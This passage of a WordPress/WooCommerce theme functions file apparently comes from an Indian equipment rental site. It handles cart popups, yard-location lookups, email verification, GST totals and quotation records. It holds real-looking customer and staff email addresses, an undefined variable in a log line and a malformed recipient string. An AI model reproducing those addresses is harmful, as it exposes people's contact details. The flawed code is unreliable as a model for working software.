            'pattern' => '[0-9]*',
            'oninput' => "this.value = this.value.replace(/[^0-9]/g, '');",
        );
    }
    return $fields;
}



// Add custom remove confirmation popup
function wc_custom_remove_confirm_popup() {
    ?>
    <!-- Confirmation Popup -->
    <div id="cart-remove-confirm" class="confirm-popup" style="display:none;">
        <div class="confirm-popup-content">
            <p>Are you sure you want to remove this item from the cart?</p>
            <div class="confirm-popup-actions">
                <button id="confirm-yes">Yes</button>
                <button id="confirm-no">No</button>
            </div>
        </div>
    </div>
    <?php
}
add_action('wp_footer', 'wc_custom_remove_confirm_popup');




// add_action('init', function () {
//     // Specific order ID
//     $order_id = 14203;

//     // Load order
//     $order = wc_get_order($order_id);

//     if ($order && $order->get_status() !== 'wc-equipmentassigned') {
//         // Update order status to Equipment Assigned
//         $order->update_status('equipmentassigned', 'Order status updated to Equipment Assigned programmatically.');
//     }
// });



// add_action('init', function () {
//     global $wpdb;

//     $table_name = $wpdb->prefix . 'request_quote';

//     // Check if the record already exists (optional safeguard)
//     $exists = $wpdb->get_var(
//         $wpdb->prepare("SELECT COUNT(*) FROM {$table_name} WHERE order_id = %d", 14021)
//     );

//     if (!$exists) {
//         $wpdb->insert(
//             $table_name,
//             array(
//                 'user_id'         => 691,
//                 'user_name'       => 'amr8977',
//                 'user_email'      => 'stores.tadicherla@amrgroup.in',
//                 'product_id'      => 10165,
//                 'product_name'    => 'CAT 772G Off Highway Truck',
//                 'start_date'      => '2023-03-30',
//                 'end_date'        => '2025-10-07',
//                 'shift'           => 1,
//                 'calculated_price'=> 590000,
//                 'rfqdiscount'     => 0,
//                 'final_price'     => 590000,
//                 'rfq_status'      => 'Request received',
//                 'status'          => 'Active',
//                 'requested_on'    => '2025-09-10 14:30:00',
//                 'location'        => '',
//                 'region'          => '',
//                 'rmsID'           => '',
//                 'application'     => '',
//                 'enquiry_id'      => 0,
//                 'created_by'      => '',
//                 'order_id'        => 14203
//             ),
//             array(
//                 '%d','%s','%s','%d','%s',
//                 '%s','%s','%d','%f','%d',
//                 '%f','%s','%s','%s','%s',
//                 '%s','%d','%s','%d'
//             )
//         );
//     }
// });


// add_action('init', function () {
//     global $wpdb;

//     $table_name = $wpdb->prefix . 'quotation';

//     // Check if record for this user/product already exists (optional safeguard)
//     $exists = $wpdb->get_var(
//         $wpdb->prepare("SELECT COUNT(*) FROM {$table_name} WHERE user_id = %d AND product_id = %d", 691, 10165)
//     );

//     if (!$exists) {
//         $wpdb->insert(
//             $table_name,
//             array(
//                 'user_id'         => 691,
//                 'rfq_id'          => 0, // No RFQ reference, adjust if needed
//                 'user_name'       => 'amr8977',
//                 'user_email'      => 'stores.tadicherla@amrgroup.in',
//                 'product_id'      => 10165,
//                 'product_name'    => 'CAT 772G Off Highway Truck',
//                 'start_date'      => '2023-03-30',
//                 'end_date'        => '2025-10-07',
//                 'shift'           => 1,
//                 'calculated_price'=> 590000,
//                 'rfqdiscount'     => 0.00,
//                 'final_price'     => 590000,
//                 'qt_status'       => 'Request received',
//                 'location'        => 'Tadicherla', // required column, update as per your use case
//                 'region'          => 'South',      // optional, update if needed
//                 'assign_location_id'   => NULL,
//                 'assign_location_name' => NULL,
//                 'assign_terms_conditions' => NULL,
//                 'revised_count'   => 0,
//                 'revision_details'=> NULL,
//                 'discount_status' => 'No request',
//                 'discount_requested' => 0.00,
//                 'ap_comments'     => 'No Comments',
//                 'comments'        => NULL,
//                 'cs_view'         => 0,
//                 'dynamic_terms_1' => NULL,
//                 'dynamic_terms_2' => NULL,
//                 'standard_terms'  => 1,
//                 'accepted_time'   => NULL,
//                 'deposit_status_approve' => NULL,
//                 'deposit_status_reject'  => NULL,
//                 'deposit_selected'=> '60 Days',
//                 'processed_timestamps' => NULL,
//                 'shipping_terms'  => 'Customer',
//                 'payment_cycle'   => '30',
//                 'billing_cycle'   => '04',
//                 'deposit_request_sent' => 0,
//                 'shipping_request_sent'=> 0,
//                 'bpcycle_request_sent' => 0,
//                 'hour_price'      => 0.00,
//                 'notification_status' => 0
//             ),
//             array(
//                 '%d','%d','%s','%s','%d','%s',
//                 '%s','%s','%d','%f','%f','%f',
//                 '%s','%s','%s','%d','%s','%s',
//                 '%s','%f','%s','%s','%d','%s',
//                 '%s','%d','%s','%s','%s','%s',
//                 '%s','%s','%s','%d','%d','%d',
//                 '%f','%d'
//             )
//         );
//     }
// });



// Update order meta and custom location name for a specific order
// function my_update_order_details() {
//     $order_id = 14021; // Change order ID as needed

//     // ✅ Update WooCommerce order meta
//     update_post_meta($order_id, 'model_name', 'CAT');
//     update_post_meta($order_id, 'order_region', 'NORTH');
//     update_post_meta($order_id, 'order_location', 'HYDERABAD');
//     update_post_meta($order_id, 'assign_location_name', 'HYDERABAD'); // store in order meta

//     // ✅ Optional: also update in custom zone_address table
//     global $wpdb;
//     $table_name = $wpdb->prefix . 'zone_address';

//     // If you know the location id (example 123), update it:
//     $assign_location_id = 3; // Replace with real ID
//     $wpdb->update(
//         $table_name,
//         array('location_name' => 'HYDERABAD'), // new value
//         array('id' => $assign_location_id),   // where condition
//         array('%s'),
//         array('%d')
//     );
// }
// // Run this once (when WordPress loads). 
// // Remove or comment out after running to avoid re-updating every page load.
// add_action('init', 'my_update_order_details');



add_action('admin_enqueue_scripts', function () {
    echo '<style>
        #wp-admin-bar-wp-mail-smtp-menu,
        #wp-admin-bar-enable-jquery-migrate-helper {
            display: none !important;
        }
    </style>';
});

// Remove Dashboard from left admin menu
add_action('admin_menu', function() {
    remove_menu_page('index.php'); // Dashboard
	// Remove Notifications custom post type menu
    remove_menu_page('edit.php?post_type=notifications');
	remove_menu_page('stdratecard-dashboard');
	remove_menu_page('proforma');
	remove_menu_page('rfm-time-utilization');
	remove_menu_page('rfm-financial-utilization');
}, 999);


// Rental Contract Updation
// add_action('init', function() {
	
// 	 $order_ids = [14433,14434,14435]; // Add your list of order IDs here

//     foreach ($order_ids as $order_id) {
       
//      $result = update_order_and_quote_by_order_id($order_id);
//     }

//    echo 'dsfs';
// });

// function update_order_and_quote_by_order_id($order_id) {
//     if (!$order_id) return;
//  global $wpdb;
//     // Load the order object
//     $order = wc_get_order($order_id);
	
// 	   $customer_id = $order->get_user_id();
// 	   $billing_city = get_user_meta($customer_id, 'billing_city', true);
	   
// 	   $user_info = get_userdata($customer_id);

//     if (!$order) {
//         return "Order ID {$order_id} not found.";
//     }
	
// 	  $query = $wpdb->prepare("
//          SELECT 
//                 MAX(CASE WHEN meta_key = '_number_shifts_required' THEN meta_value END) AS number_shifts_required,
//                 MAX(CASE WHEN meta_key = 'rental_amount' THEN meta_value END) AS rental_amount,
//                 MAX(CASE WHEN meta_key = 'start_date' THEN meta_value END) AS start_date,
//                 MAX(CASE WHEN meta_key = 'end_date' THEN meta_value END) AS end_date
//             FROM {$wpdb->postmeta}
//             WHERE post_id = %d
//               AND meta_key IN ('_number_shifts_required', 'rental_amount', 'start_date', 'end_date')
//     ", $order_id) ;
	
// $results = $wpdb->get_results($query);

// $start_date_original = $results[0]->start_date;
// $end_date_original = $results[0]->end_date;

// $date_start_date_original = DateTime::createFromFormat('d-m-Y', $start_date_original);
// $start_date = $date_start_date_original->format('Y-m-d');

// $date_end_date_original = DateTime::createFromFormat('d-m-Y', $end_date_original);
// $end_date = $date_end_date_original->format('Y-m-d');

// $number_shifts_required = $results[0]->number_shifts_required;
// $rental_amount = $results[0]->rental_amount;

//     // Update order status if not already 'equipmentassigned'
//     if ($order->get_status() !== 'equipmentassigned') {
//         $order->update_status('equipmentassigned', 'Order status updated programmatically.');
//     }
	
//     // Prepare data for request_quote table insertion using order data
//     global $wpdb;
	
// $get_product = $wpdb->prepare("
//     SELECT 
//         oi.order_item_id,
//         oi.order_item_name AS product_name,
//         product_id_meta.meta_value AS product_id
//     FROM {$wpdb->prefix}woocommerce_order_items AS oi
//     LEFT JOIN {$wpdb->prefix}woocommerce_order_itemmeta AS product_id_meta
//         ON oi.order_item_id = product_id_meta.order_item_id
//         AND product_id_meta.meta_key = '_product_id'
//     WHERE oi.order_id = %d
//       AND oi.order_item_type = 'line_item'
// ", $order_id);

// $product_results = $wpdb->get_results($get_product);
// $product_name = $product_results[0]->product_name;
// $product_id = $product_results[0]->product_id;


// 	$table_name_quotation = $wpdb->prefix . 'quotation';

//     // Check if record for this user/product already exists (optional safeguard)
//     $exists = $wpdb->get_var(
//         $wpdb->prepare("SELECT COUNT(*) FROM {$table_name_quotation} WHERE user_id = %d AND product_id = %d", $customer_id, $product_id)
//     );

//     if (!$exists) {
//         $wpdb->insert(
//             $table_name_quotation,
//             array(
//                 'user_id'         => $customer_id,
//                 'rfq_id'          => 0, // No RFQ reference, adjust if needed
//                 'user_name'       => $user_info->user_login,
//                 'user_email'      => $user_info->user_email,
//                 'product_id'      => $product_id,
//                 'product_name'    => $product_name,
//                 'start_date'      => $start_date,
//                 'end_date'        => $end_date,
//                 'shift'           => $number_shifts_required,
//                 'calculated_price'=> $rental_amount,
//                 'rfqdiscount'     => 0.00,
//                 'final_price'     => $rental_amount,
//                 'qt_status'       => 'Request received',
//                 'location'        => $billing_city, // required column, update as per your use case
//                 'region'          => '',      // optional, update if needed
//                 'assign_location_id'   => NULL,
//                 'assign_location_name' => NULL,
//                 'assign_terms_conditions' => NULL,
//                 'revised_count'   => 0,
//                 'revision_details'=> NULL,
//                 'discount_status' => 'No request',
//                 'discount_requested' => 0.00,
//                 'ap_comments'     => 'No Comments',
//                 'comments'        => NULL,
//                 'cs_view'         => 0,
//                 'dynamic_terms_1' => NULL,
//                 'dynamic_terms_2' => NULL,
//                 'standard_terms'  => 1,
//                 'accepted_time'   => NULL,
//                 'deposit_status_approve' => NULL,
//                 'deposit_status_reject'  => NULL,
//                 'deposit_selected'=> '60 Days',
//                 'processed_timestamps' => NULL,
//                 'shipping_terms'  => 'Customer',
//                 'payment_cycle'   => '30',
//                 'billing_cycle'   => '04',
//                 'deposit_request_sent' => 0,
//                 'shipping_request_sent'=> 0,
//                 'bpcycle_request_sent' => 0,
//                 'hour_price'      => 0.00,
//                 'notification_status' => 0
//             ),
//             array(
//                 '%d','%d','%s','%s','%d','%s',
//                 '%s','%s','%d','%f','%f','%f',
//                 '%s','%s','%s','%d','%s','%s',
//                 '%s','%f','%s','%s','%d','%s',
//                 '%s','%d','%s','%s','%s','%s',
//                 '%s','%s','%s','%d','%d','%d',
//                 '%f','%d'
//             )
//         );
//     }
	
//     $table_name = $wpdb->prefix . 'request_quote';

//     // Collect dynamic parameters from order and user data
//     $user_id = $order->get_user_id();
//     $user_info = get_userdata($user_id);
//     $billing_email = $order->get_billing_email();

//     // For example, get first product item for simplicity
//     $items = $order->get_items();
//     $product = null;
//     foreach ($items as $item) {
//         $product = $item->get_product();
//         break;
//     }

//     if (!$product) {
//         return "No product found in order ID {$order_id}.";
//     }

//     // Check if an entry already exists for this order
//     $exists = $wpdb->get_var(
//         $wpdb->prepare("SELECT COUNT(*) FROM {$table_name} WHERE order_id = %d", $order_id)
//     );

//     if (!$exists) {
//         $wpdb->insert(
//             $table_name,
//             [
//                 'user_id'         => $user_id,
//                 'user_name'       => $user_info ? $user_info->user_login : '',
//                 'user_email'      => $billing_email,
//                 'product_id'      => $product->get_id(),
//                 'product_name'    => $product->get_name(),
//                 'start_date'      => $start_date, // Example: today's date or get from custom order meta
//                 'end_date'        => $end_date, // Example dynamic end date
//                 'shift'           => $number_shifts_required, // Set dynamically if needed
//                 'calculated_price'=> $rental_amount,
//                 'rfqdiscount'     => 0,
//                 'final_price'     => $rental_amount,
//                 'rfq_status'      => 'Request received',
//                 'status'          => 'Active',
//                 'requested_on'    => current_time('mysql'),
//                 'location'        => $billing_city, // Add dynamic location if stored in order meta
//                 'region'          => '',
//                 'rmsID'           => '',
//                 'application'     => '',
//                 'enquiry_id'      => 0,
//                 'created_by'      => $user_info ? $user_info->user_login : '',
//                 'order_id'        => $order_id,
//             ],
//             [
//                 '%d', '%s', '%s', '%d', '%s',
//                 '%s', '%s', '%d', '%f', '%d',
//                 '%f', '%s', '%s', '%s', '%s',
//                 '%s', '%d', '%s', '%d',
//             ]
//         );
//         return "Request quote inserted for order ID {$order_id}.";
//     } else {
//         return "Request quote entry already exists for order ID {$order_id}.";
//     }
// }


add_action( 'init', function() {
    $taxonomy = 'pa_yard-location'; // your attribute slug prefixed with pa_

    if ( taxonomy_exists( $taxonomy ) ) {
        // Re-register with hierarchical true
        register_taxonomy(
            $taxonomy,
            array( 'product' ),
            array(
                'hierarchical'      => true,
                'show_ui'           => true,
                'show_admin_column' => true,
                'query_var'         => true,
                'rewrite'           => array( 'slug' => 'yard-location' ),
                'labels'            => array(
                    'name'          => __( 'Yard Locations', 'woocommerce' ),
                    'singular_name' => __( 'Yard Location', 'woocommerce' ),
                    'search_items'  => __( 'Search Yard Locations', 'woocommerce' ),
                    'all_items'     => __( 'All Yard Locations', 'woocommerce' ),
                    'parent_item'   => __( 'Parent Yard Location', 'woocommerce' ),
                    'edit_item'     => __( 'Edit Yard Location', 'woocommerce' ),
                    'update_item'   => __( 'Update Yard Location', 'woocommerce' ),
                    'add_new_item'  => __( 'Add New Yard Location', 'woocommerce' ),
                ),
            )
        );
    }
});


// Add SMU Hours (ACF field) to WooCommerce Additional Information tab
add_filter( 'woocommerce_display_product_attributes', function( $product_attributes, $product ) {
    // Get the ACF field value
    $smu_hours = get_field( 'smu_hours', $product->get_id() );

    if ( $smu_hours ) {
        $product_attributes['smu_hours'] = array(
            'label' => __( 'SMU Hours', 'woocommerce' ),
            'value' => esc_html( $smu_hours ),
        );
    }

    return $product_attributes;
}, 10, 2 );


add_action('wp_ajax_get_yard_districts', 'get_yard_districts_callback');
add_action('wp_ajax_nopriv_get_yard_districts', 'get_yard_districts_callback');
function get_yard_districts_callback() {
    $parent_id = isset($_GET['parent_id']) ? intval($_GET['parent_id']) : 0;
    $districts = get_terms([
        'taxonomy' => 'pa_yard-location',
        'hide_empty' => false,
        'parent' => $parent_id
    ]);
    $output = [];
    if (!is_wp_error($districts)) {
        foreach ($districts as $district) {
            $output[] = ['term_id' => $district->term_id, 'name' => $district->name];
        }
    }
    wp_send_json($output);
}


//// check product is in cart or not
//// Add custom remove confirmation popup HTML in footer
function wc_custom_cart_check_popup() {
    ?>
    <div id="cart-check-confirm" style="display:none;"> 
        <div class="popup-content"> 
            <p style="color: #000;">Currently the cart has an equipment added for checkout. If you wish to continue with the current equipment, the previously added equipment will be removed.</p> 
            <div class="confirm-popup-actions"> 
                <button id="clear-cart">Ok, proceed</button> 
                <button id="cancel-cart">No, cancel</button> 
            </div> 
        </div> 
    </div>
    <?php
}
add_action('wp_footer', 'wc_custom_cart_check_popup');


// Ajax check for cart items
add_action('wp_ajax_check_cart_items', 'check_cart_items_callback');
add_action('wp_ajax_nopriv_check_cart_items', 'check_cart_items_callback');
function check_cart_items_callback() {
    $has_items = (WC()->cart->get_cart_contents_count() > 0);
    wp_send_json(['has_items' => $has_items]);
}

// Ajax clear cart
add_action('wp_ajax_clear_cart', 'wc_custom_clear_cart_callback');
add_action('wp_ajax_nopriv_clear_cart', 'wc_custom_clear_cart_callback');
function wc_custom_clear_cart_callback() {
    WC()->cart->empty_cart();
    wp_send_json_success(['message' => 'Cart cleared']);
}



// On Checkout page show popup if yard location and location are different
// add_action('woocommerce_before_checkout_form', 'check_location_vs_yard_location');
function check_location_vs_yard_location() {
    // Mapping yard → state
    $state_to_yards = [
        'Maharashtra'    => ['Butibori', 'Sategaon'],
        'Chhattisgarh'   => ['Raipur', 'Raigarh'],
        'Madhya Pradesh' => ['Jabalpur', 'Indore', 'Bhopal', 'Satna'],
        'Telangana'      => ['Hyderabad'],
        'Karnataka'      => ['Hospet', 'Mysore'],
        'Tamil Nadu'     => ['Koppur', 'Tirunelveli'],
        'Gujarat'        => ['Ahmedabad', 'Surat', 'Rajkot'],
		'Andhra Pradesh' => ['Vijayawada', 'Vizag', 'Chimakurthy'],
		'Kerala'         => ['Kannur'],
    ];

    // Helper: get state by yard
    $get_state_by_yard = function($yard) use ($state_to_yards) {
        foreach ($state_to_yards as $state => $yards) {
            if (in_array($yard, $yards, true)) {
                return strtolower($state);
            }
        }
        return null;
    };

    $cart_items  = WC()->cart->get_cart();
    $yard_states = [];

    // Collect yard states from products
    foreach ($cart_items as $cart_item) {
        $product_id = $cart_item['product_id'];

        $terms = wp_get_post_terms($product_id, 'pa_yard-location');
        if (!is_wp_error($terms) && !empty($terms)) {
            foreach ($terms as $term) {
                $yard_state = $get_state_by_yard($term->name);
                if ($yard_state) {
                    $yard_states[] = $yard_state;
                }
            }
        }
    }

    $yard_states = array_unique($yard_states);

    if (!empty($yard_states)) {
        ?>
        <div id="locationMismatchPopup" class="location-popup" style="display:none;">
            <div class="popup-content">
				<p><strong>The machine yard location is from a different state.</strong><br>
               Do you wish to proceed?</p>
                <button id="continueCheckout" class="btn-yes">Yes</button>
                <button id="cancelCheckout" class="btn-no">No</button>
            </div>
        </div>
		<script>
		jQuery(function($){
			var rent_state = localStorage.getItem('rent_state');
			var yardStates = <?php echo wp_json_encode($yard_states); ?>; // PHP → JS

			if (rent_state) {
				rent_state = rent_state.toLowerCase();

				// If rent_state not in yardStates → show popup
				if ($.inArray(rent_state, yardStates) === -1) {
					$('#locationMismatchPopup').fadeIn();

					// ✅ Force "Use a different shipping address"
					$('input[name="shipping_address_option"][value="different"]').prop('checked', true).trigger('change');
					$('#ship-to-different-address-checkbox').prop('checked', true).trigger('change');

					// Ensure WooCommerce shipping fields are visible
					$('.woocommerce-shipping-fields').show();
					$('#shipping-fields-container').show();
				}
			}

			// Yes - allow checkout
			$('#continueCheckout').on('click', function(){
				$('#locationMismatchPopup').fadeOut();
			});

			// No - go back to cart
			$('#cancelCheckout').on('click', function(){
				window.location.href = '<?php echo home_url(); ?>';
			});
		});
		</script>

        <?php
    }
}



/// Check distance between 2 states 
// Step 1
function my_geocode_location($location) {
    $url = "https://nominatim.openstreetmap.org/search?format=json&limit=1&q=" . urlencode($location);
    $args = ['headers' => ['User-Agent' => 'WooCommerce-OSRM']];
    $response = wp_remote_get($url, $args);

    if (is_wp_error($response)) {
        return false;
    }

    $data = json_decode(wp_remote_retrieve_body($response), true);

    if (!empty($data[0]['lat']) && !empty($data[0]['lon'])) {
        return ['lat' => $data[0]['lat'], 'lon' => $data[0]['lon']];
    }
    return false;
}
// Step 2
function my_get_osrm_distance($from, $to) {
    $loc1 = my_geocode_location($from);
    $loc2 = my_geocode_location($to);

    if (!$loc1 || !$loc2) {
        return false;
    }

    $osrm_url = "http://router.project-osrm.org/route/v1/driving/{$loc1['lon']},{$loc1['lat']};{$loc2['lon']},{$loc2['lat']}?overview=false";
    $response = wp_remote_get($osrm_url);

    if (is_wp_error($response)) {
        return false;
    }

    $route = json_decode(wp_remote_retrieve_body($response), true);

    if (isset($route['routes'][0]['distance'])) {
        return round($route['routes'][0]['distance'] / 1000, 2); // km
    }

    return false;
}
// Step 3
add_action('wp_enqueue_scripts', function () {
    if (is_cart() || is_checkout()) {
        global $woocommerce;
        $distances = [];
		$calculated_prices = [];
		$categories = []; 
        foreach ($woocommerce->cart->get_cart() as $cart_item) {
			$product_id = $cart_item['product_id'];

            // Get product categories
            $terms = wp_get_post_terms($product_id, 'product_cat', ['fields' => 'slugs']);
            $categories[$product_id] = $terms;
            if (!empty($cart_item['rfq_data']['location'])) {
                $location = $cart_item['rfq_data']['location'];
			
                // Get Yard Location (attribute)
                $terms = wp_get_post_terms($cart_item['product_id'], 'pa_yard-location');
                if (!is_wp_error($terms) && !empty($terms)) {
                    $yard = $terms[0]->name;
                    $distance = my_get_osrm_distance($location, $yard);
                    if ($distance) {
                        $distances[] = [
                            'product'   => $cart_item['data']->get_name(),
                            'location'  => $location,
                            'yard'      => $yard,
                            'distance'  => $distance
                        ];
                    }
					
                }
            }
			// Calculated price logic
//         $calculated_prices[] = isset($cart_item['rfq_data']['calculated_price']) ? $cart_item['rfq_data']['calculated_price'] : 0;
        // ✅ Price logic — use calculated_price if available, else fallback to regular price
            if (!empty($cart_item['rfq_data']['calculated_price'])) {
                $price = (float) $cart_item['rfq_data']['calculated_price'];
            } else {
                // fallback to WooCommerce price
                $price = (float) $cart_item['data']->get_price();
            }

            $calculated_prices[] = $price;
        }

        wp_enqueue_script('custom-js', get_stylesheet_directory_uri() . '/js/custom-js.js', ['jquery'], null, true);
        wp_localize_script('custom-js', 'cartDistances', $distances);
		wp_localize_script('custom-js', 'cartPrices', $calculated_prices); // separate variable
		wp_localize_script('custom-js', 'cartCategories', $categories);
    }
});



///////////////////// Email verification for registration
// Stop auto-login after registration
add_filter('woocommerce_registration_auth_new_customer', '__return_false');


add_action('woocommerce_created_customer', 'send_verification_email_after_registration');

function send_verification_email_after_registration($customer_id) {
    $user = get_user_by('id', $customer_id);
    $email = $user->user_email;

    // Generate verification token
    $token = wp_generate_password(20, false);

    // Save token as user meta
    update_user_meta($customer_id, 'email_verification_token', $token);
    update_user_meta($customer_id, 'is_email_verified', 0);

    // Create verification link
    $verification_link = add_query_arg([
        'verify_email' => 1,
        'uid'          => $customer_id,
        'token'        => $token
    ], site_url());

    // Send email
    $subject = "Verify Your Email - " . get_bloginfo('name');
    $message = "Hi " . $user->first_name . ",\n\nPlease click the link below to verify your email:\n\n" . $verification_link;
    wp_mail($email, $subject, $message);
}



add_action('init', 'handle_email_verification_link');

function handle_email_verification_link() {
    if (isset($_GET['verify_email'], $_GET['uid'], $_GET['token'])) {
        $uid   = intval($_GET['uid']);
        $token = sanitize_text_field($_GET['token']);
        $saved_token = get_user_meta($uid, 'email_verification_token', true);

        if ($saved_token && $saved_token === $token) {
            update_user_meta($uid, 'is_email_verified', 1);
            delete_user_meta($uid, 'email_verification_token');

            // Log the user in automatically after verification
            wp_set_current_user($uid);
            wp_set_auth_cookie($uid);

            wc_add_notice("Your email has been verified. You are now logged in.", 'success');
        } else {
            wc_add_notice("Invalid or expired verification link.", 'error');
        }

        wp_safe_redirect(wc_get_page_permalink('myaccount'));
        exit;
    }
}

add_filter('woocommerce_registration_redirect', function($redirect, $user) {
    if ($user instanceof WP_User) {
        // Check if the user has NOT verified email
        $is_verified = get_user_meta($user->ID, 'is_email_verified', true);

        if (!$is_verified) {
            wc_add_notice("Please check your email and verify your account before logging in.", 'notice');
        }
    }

    return wc_get_page_permalink('myaccount');
}, 10, 2);

// add_filter('woocommerce_registration_message', function($message) {
//     return __("Your account was created successfully. Please check your email and verify your account before logging in.", "woocommerce");
// });

// Redirect WooCommerce login to the "redirect_to" URL if present
// Handle redirect after login (works for WooCommerce + WP login)
// add_filter('login_redirect', 'custom_redirect_after_login', 99, 3);
// function custom_redirect_after_login($redirect_to, $requested_redirect_to, $user) {
//     // If ?redirect_to= exists in the URL, use it
//     if (isset($_REQUEST['redirect_to']) && !empty($_REQUEST['redirect_to'])) {
//         return esc_url_raw($_REQUEST['redirect_to']);
//     }

//     // Otherwise fallback
//     return $redirect_to;
// }

// Clear default shipping fields on checkout page
add_filter('woocommerce_checkout_fields', 'clear_shipping_fields_defaults');

function clear_shipping_fields_defaults($fields) {
    if (isset($fields['shipping'])) {
        foreach ($fields['shipping'] as $key => $field) {
            $fields['shipping'][$key]['default'] = ''; // make it blank
        }
    }
    return $fields;
}


// create order_id in quotation table
function add_order_id_column_to_quotation_table() {
    global $wpdb;
    $table_name = $wpdb->prefix . 'quotation';

    // Check if column already exists
    $column = $wpdb->get_results(
        $wpdb->prepare(
            "SHOW COLUMNS FROM {$table_name} LIKE %s",
            'order_id'
        )
    );

    if (empty($column)) {
        // Add column
        $wpdb->query("ALTER TABLE {$table_name} ADD COLUMN order_id BIGINT(20) UNSIGNED NOT NULL AFTER rfq_id");
    }
}
add_action('init', 'add_order_id_column_to_quotation_table');



// Add entry in quotation table if new order is placed with payment completed
add_action('woocommerce_order_status_processing', 'insert_order_into_wp_quotation_full_v2', 20, 1);
add_action('woocommerce_order_status_completed', 'insert_order_into_wp_quotation_full_v2', 20, 1);

function insert_order_into_wp_quotation_full_v2($order_id) {
    if (!$order_id) return;
    global $wpdb;

    $order = wc_get_order($order_id);
    if (!$order) return;

    $user_id       = $order->get_user_id();
    $user_info     = get_userdata($user_id);
    $billing_email = $order->get_billing_email();
    $billing_city  = $order->get_billing_city();
    $user_name     = $user_info ? $user_info->user_login : '';

    // Order created timestamp
    $created_at = $order->get_date_created() ? $order->get_date_created()->date('Y-m-d H:i:s') : current_time('mysql');

    // Get global order meta (if needed)
    $number_shifts_required = get_post_meta($order_id, '_number_shifts_required', true);

    // Generate next rfq_id
    $table_name  = $wpdb->prefix . 'quotation';
    $last_rfq_id = $wpdb->get_var("SELECT MAX(rfq_id) FROM {$table_name}");
    $next_rfq_id = $last_rfq_id ? ($last_rfq_id + 1) : 1;

    // Loop through items
    foreach ($order->get_items() as $item) {
        $product_id   = $item->get_product_id();
        $product_name = $item->get_name();
        $product      = wc_get_product($product_id);
		
		// Check if product is in "buy" category
    	$is_buy = has_term('buy', 'product_cat', $product_id);

        // ✅ Start and End Date
		if ($is_buy) {
			$start_date = 'NA';
			$end_date   = 'NA';
		} else {
			// Get values from item meta
			$start_date_raw = $item->get_meta('Start Date', true);
			$end_date_raw   = $item->get_meta('End Date', true);

			// Parse and format dates
			$start_date = '';
			if (!empty($start_date_raw)) {
				$dt = DateTime::createFromFormat('d-m-Y', $start_date_raw);
				$start_date = $dt ? $dt->format('Y-m-d') : date('Y-m-d', strtotime($start_date_raw));
			} else {
				$start_date = current_time('Y-m-d');
			}

			$end_date = '';
			if (!empty($end_date_raw)) {
				$dt = DateTime::createFromFormat('d-m-Y', $end_date_raw);
				$end_date = $dt ? $dt->format('Y-m-d') : date('Y-m-d', strtotime($end_date_raw));
			}
		}

        // Normalize rental amount
         $rental_amount_old = floatval($item->get_total());
		// Check if product is in "buy" category
		if (has_term('buy', 'product_cat', $product_id)) {
			$rental_amount = $rental_amount_old; // No GST
		} else {
			$gst = round($rental_amount_old * 0.18, 2);
			$rental_amount = round($rental_amount_old + $gst, 2);
		}
		
        // Product-specific data
        $region        = get_post_meta($product_id, '_product_region', true);
        $yard_location = $product ? $product->get_attribute('pa_yard-location') : '';

        // Debug logs
        error_log("Order {$order_id} - Product {$product_id} - Start: {$start_date_raw} → {$start_date}, End: {$end_date_raw} → {$end_date}, Rent: {$rental_amount_raw} → {$rental_amount}");

        // Insert into wp_quotation
        $wpdb->insert(
            $table_name,
            [
				'order_id'       => $order_id,
                'user_id'         => $user_id,
                'rfq_id'          => $next_rfq_id,
                'user_name'       => $user_name,
                'user_email'      => $billing_email,
                'product_id'      => $product_id,
                'product_name'    => $product_name,
                'start_date'      => $start_date,
                'end_date'        => $end_date,
                'shift'           => $number_shifts_required ? intval($number_shifts_required) : 0,
                'calculated_price'=> $rental_amount,
                'rfqdiscount'     => 0.00,
                'final_price'     => $rental_amount,
                'qt_status'       => 'Accepted',
                'location'        => $yard_location ? $yard_location : $billing_city,
                'region'          => $region,
                'created_at'      => $created_at,
            ],
            [
                '%d','%d','%d','%s','%s','%d','%s',
                '%s','%s','%d','%f','%f','%s',
                '%s','%s','%s','%s'
            ]
        );
        $next_rfq_id++;
    }
}



// Override the cart total with custom calculation
add_filter('woocommerce_calculated_total', 'custom_cart_final_total', 20, 2);
function custom_cart_final_total($total, $cart) {
    $skip_gst = false;
    // Loop through cart items
    foreach ( $cart->get_cart() as $cart_item ) {
        $product_id = $cart_item['product_id'];
        $terms = wp_get_post_terms($product_id, 'product_cat', ['fields' => 'slugs']);

        if ( in_array('buy', $terms) ) {
            $skip_gst = true;
            break; // if any product is "buy", skip GST
        }
    }
    if ($skip_gst) {
        // Return base subtotal without GST
        return $cart->get_subtotal();
    }
    // Otherwise, calculate GST @18%
    $base_total = $cart->get_subtotal();
    $gst = round($base_total * 0.18, 2);
    $final_total = round($base_total + $gst, 2);
    return $final_total;
}


add_filter( 'woocommerce_states', 'custom_woocommerce_states' );
function custom_woocommerce_states( $states ) {
    $states['IN'] = array(
        'AP' => 'Andhra Pradesh',
        'DL' => 'Delhi',
        'GA' => 'Goa',
        'GJ' => 'Gujarat',
        'KA' => 'Karnataka',
        'KL' => 'Kerala',
        'MP' => 'Madhya Pradesh',
        'MH' => 'Maharashtra',
        'TN' => 'Tamil Nadu',
        'TS' => 'Telangana',
    );
    return $states;
}

add_filter('woocommerce_countries_tax_or_vat', function($tax_or_vat){
    return 'GST (18%)';
});


add_filter('woocommerce_get_order_item_totals', function($total_rows, $order, $tax_display) {

    // Check if order has any product from "rent" category
    $show_tax = false;
    foreach ($order->get_items() as $item) {
        $product_id = $item->get_product_id();
        if (has_term('rent', 'product_cat', $product_id)) {
            $show_tax = true;
            break;
        }
    }

    // If no rent product, remove tax rows
    if (!$show_tax) {
        foreach ($total_rows as $key => $row) {
            if (strpos(strtolower($key), 'tax') !== false) {
                unset($total_rows[$key]);
            }
        }
    }

    return $total_rows;

}, 10, 3);


// Trigger regional new order emails after checkout
add_filter('woocommerce_email_recipient_new_order', 'regional_new_order_recipients', 10, 2);

function regional_new_order_recipients($recipient, $order) {
    if (!$order) return $recipient;

    // Define regional recipients
    $region_emails = [
        'South' => 'david@gmmcoindia.com, poovalingam@gmmcoindia.com, mariappan.m@gmmcoindia.com, jerinkumar.s@gmmcoindia.com, bhaskara.s@gmmcoindia.com',
        'North' => 'sanjeevranjan@gmmcoindia.com, shashankkumar@gmmcoindia.com',
        'East'  => 'vshanthikumar@gmmcoindia.com, gopal@gmmcoindia.com',
        'West'  => '"vinayaktilekar@gmmcoindia.com, praveenbhujbal@gmmcoindia.com, nitalbelitkar.m@gmmcoindia.com, praveenbhujbal@gmmcoindia.com, lalkrishna.b@gmmcoindia.com, jayeshkumar@gmmcoindia.com',
    ];

